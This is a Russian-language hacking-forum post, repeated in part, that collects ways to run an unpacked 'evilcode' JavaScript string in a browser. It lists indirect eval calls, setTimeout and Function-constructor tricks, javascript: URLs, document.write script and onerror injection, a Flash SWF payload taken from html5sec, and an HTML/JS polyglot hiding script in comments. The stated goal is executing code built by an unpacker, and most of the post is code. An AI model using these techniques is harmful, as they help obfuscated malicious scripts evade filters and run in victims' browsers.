Пожалуйста, обратите внимание, что пользователь заблокирован
Это обобщенная заметка, попытка собрать все вместе.
Итак.
наш evilcode = 'alert(/damagelab/)';
Подразумевается, что это строка, собранная анпакером, и нам нужно ее исполнить в браузере.
Варианты следующие:
*ограничение - максимальная длинна url.
*не работает в ие<9
*не работает в ие<9
- сокращенный вариант примера от neko.
Инжект флешем:
html:
код флешки:
*пример, в общем-то, сперт от сюда: http://html5sec.org/#79
В хроме он не работает, т.к. флешь там особенный, и ему это запрещено.
И на последок, html-js-перевертыш от меня.
В данном случае, весь js содержится за пределами <script>-тега, в html-комментарии. В src скрипта мы подключаем эту же страницу, и пытаемся распарсить ее как js. А по-скольку весь html закрыт комментариями, нам это успешно удается. Такая вот полезная мелочь.
дополнения, конечно же, приветствуются.
Итак.
наш evilcode = 'alert(/damagelab/)';
Подразумевается, что это строка, собранная анпакером, и нам нужно ее исполнить в браузере.
Варианты следующие:
Код:
eval(evilcode)
Код:
setTimeout(evilcode,0)
Код:
clearInterval(setInterval(evilcode,0))
Код:
a=eval;a(evilcode)
Код:
location.href='javascript:'+evilcode
Код:
document.write('<script>'+evilcode+'</script>')
Код:
document.write('<img src=x onerror="'+evilcode+'">')
Код:
[evilcode].map(eval)
Код:
[]["filter"]["constructor"](evilcode)()
Код:
Function(evilcode)()
Инжект флешем:
html:
Код:
<embed src="evil.swf" type="application/flash" />
Код:
class XSS {public static function main() {
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(/damagelab/)"),flash.Lib._root.name||"_top");
}}
В хроме он не работает, т.к. флешь там особенный, и ему это запрещено.
И на последок, html-js-перевертыш от меня.
Код:
/*<script src="#"></script><!-- */
/* now write any js below */
alert(/works fine/);
/* -->
<h1>normal html goes here</h1>
<!--*/
дополнения, конечно же, приветствуются.